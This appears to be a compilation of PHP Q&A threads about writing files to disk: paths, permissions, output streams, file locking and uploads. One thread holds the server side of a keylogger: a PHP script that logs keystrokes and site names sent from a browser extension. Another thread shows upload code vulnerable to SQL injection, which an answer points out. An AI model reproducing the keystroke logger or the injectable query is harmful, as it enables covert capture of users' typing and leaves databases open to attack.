file_put_contents only outputs a single file? - php

Collating some data week by week I serialized an array of the appropriate data and output that to a temporary file using file_put_contents.
Inclusive of some output statements to try and establish what is happening the code looks like this:
echo "<br/> collate session data <br/>";
print_r($this->session_Data);
$serialized_Array = serialize($this->session_Data);
$file_Name = 'session_Data_' . $this->week_Number;
echo "file_Name: " . $file_Name;
file_put_contents($file_Name, $serialized_Array);
The file name definitely gets updated appropriately and there is definitely data to output.
But this will only ever output the first weeks data to the tmp file.
I get no permission errors I get status 200 OK but no files are created.
Am I missing something here??

You are writing the file in the same directory as the script. In a default configuration the webserver process has only read and execute rights in that directory.
create a separate directory for the files, and give the webserver process write permission to that folder.
give the webserver process write permission to the folder the script is in. Be aware that this can be a security issue.

Related

A way to change the ownership of Apache to order creating txt file

Could you please tell me how to change Apache ownership in Windows if you guys know, since I cannot create txt files using PHP without permission. According to my issue, I need to be able to authorise a file to be made.
What I am trying to do is create a script that records keystrokes in the Firefox extension section. This script will send the data to an Apache PHP file and store it in a text file. I would appreciate your response if you could.
<?php
session_start();
if (!isset($_POST['key'])) {
echo ("Didn't received any new KEY strokes Yet!");
exit(0);
}
//read and write = a+, If the file does not exist, attempt to create it
$file_log = fopen("key.txt","a+");
if (!isset($_SESSION['site']) || $_SESSION['site'] != $_POST['site']) {
$_SESSION['site'] = $_POST['site'];
fwrite($file_log, "| site : ".$_POST['site']." | ");
}
fwrite($file_log,$_POST['key']);
fclose($file_log);
echo("text saved successfully");
It looks like you are not defining a full path for the file.
Depending on where php is running just calling fopen("key.txt","a+") might default to the root directory.
When creating/modifying files you should specify the full path to the file
fopen("/var/www/mydir/example/path/key.txt","a+")

php output directory was not found

I'm trying to save a file inside php: // output to send it as an answer (it's an excel).
The problem is that php does not find the directory, according to the documentation should be able to access it.
i add this validation to my code:
$folderName = 'php://output';
if(!is_dir($folderName)){
throw new FileNotFoundException($folderName . " directory not found.");
}
$objWriter->save($filePath);
and the exception has been throwed and return me:
"php://output directory not found.",
php://output is not a directory; it's an output stream. You use php://output to write stuff to the output buffer the same way echo or print does. For example, if you wanted to force the browser to display a PDF or an image straight away without saving it first, you would use php://output.
If you wanted to physically save the file in your filesystem then a proper path must be used.

Multiple process read same file php

I have a little problem inside my application.
I have many process launched automatically, from the server with crontab, written in php to read file inside a folder.
Sometimes different process read the same file and create a problem inside the application.
Is there a way to manage this problem?
Actually I read all files inside a folder, read each of them and delete immediately, but sometimes another process read the same file before I delete It.
This is my script written with cakephp3 (so some classes like File is only for cakephp3 but isn't the point of the question) to read and delete:
$xml_files = glob(TMP . 'xml/*.xml');
foreach($xml_files as $fileXml)
{
//read the file and put into a string or array or object
$explStr = explode('/', $fileXml);
$filename = $explStr[count($explStr) - 1];
$path = TMP . '/xml/' . $filename;
$file = new File($path, false);
if($file->exists()){
$string = $file->read();
$file->close();
$file->delete();
}
}
Use flock() to obtain (or attempt to obtain) a file lock and act accordingly.
It's called a race condition, and when working with files you could lock the file when process A uses it, it locks it, then other processes would check if it's locked and if it is then do nothing. Then unlock the file when process A has finished with it.

Where does file_put_contents save the files to?

I have read the documentation and it doesn't seem to indicate where can I expect the file to be created. I assumed that If I used file_put_contents on a server then a txt file would be created in the same place where the php file running it is. What am I missing here? I'm trying to save the url's in a text file as well.I just need them on my computer really not on the server.
while ($blekr<=$blekko_count)
{
echo '<a href='.$Blekko[$blekr]['url'].'><h4>'.$Blekko[$blekr]['url_title'].'</h4></a>';
echo '<p>'.$Blekko[$blekr]['snippet'].'<p>';
echo '<b>'.$Blekko[$blekr]['engine'].'</b>';
$file = 'Blekko.txt';
file_put_contents($file, $Blekko[$blekr]['url'], FILE_APPEND);
echo '<hr>';
$blekr++;
}
Unless you specify a different directory (using one or more slashes), the file is saved in the current working directory. getcwd() returns the current working directory; chdir() changes it.

PHP Script is not Properly Uploading Images

I'm working on a small, user-maintained online store, and am trying to allow my end user (the store administrator) to upload graphics for products. When I run this script, however, it doesn't actually store the image. I built this script from various tips here and a tutorial, and have gotten everything but the image upload portion to work.
// Set the image target directory here
$target = "itemImages/";
$target = $target . basename($_FILES["image"]["name"]);
// Variables get POSTed here - just tack new ones on at the end.
// Various POSTs omitted for brevity
$pic=($_FILES["image"]["name"]);
// Places the picture in the folder
if(move_uploaded_file($_FILES["image"]['tmp_name'], "itemImages/"))
{
echo "The file " . basename($_FILES['uploadedfile']["name"]) . " has been uploaded.<br />";
}else {
echo "There was an issue adding this item. Please try again.<br />";
}
// Writes variables to the database
mysql_query("INSERT INTO tbl_item (itemNAME,itemDESC,itemCOST,itemHCOL,itemHSIZ,itemIMG)
VALUES ('$itemName','$itemDesc','$itemCost','$hasColor','$hasSize','$pic')");
mysql_close($con);
?>
Any help, tips, advice, insight, etc. would be very much appreciated.
move_uploaded_files requires a filename as its target. It does not blindly move to a directory, so
move_uploaded_files($_FILES..., 'somedir/somefile.txt');
works, but
move_uploaded_file($_FILES..., 'somedir/');
will not.
Plus, note that your database operation is vulnerable to SQL injection attacks. You're blindly inserting the uploaded file's remote name (['name'] via $pic), and that name is fully under the remote user's control.
Make sure the itemImages folder has write permission by the user your web server (e.g. Apache) is running as (e.g. www-data)
make sure the .php file and the folder you are writing to have the same "owner". Or try setting permissions on the itemImages folder to 777 (This is not recommended, just a debug tactic)

Categories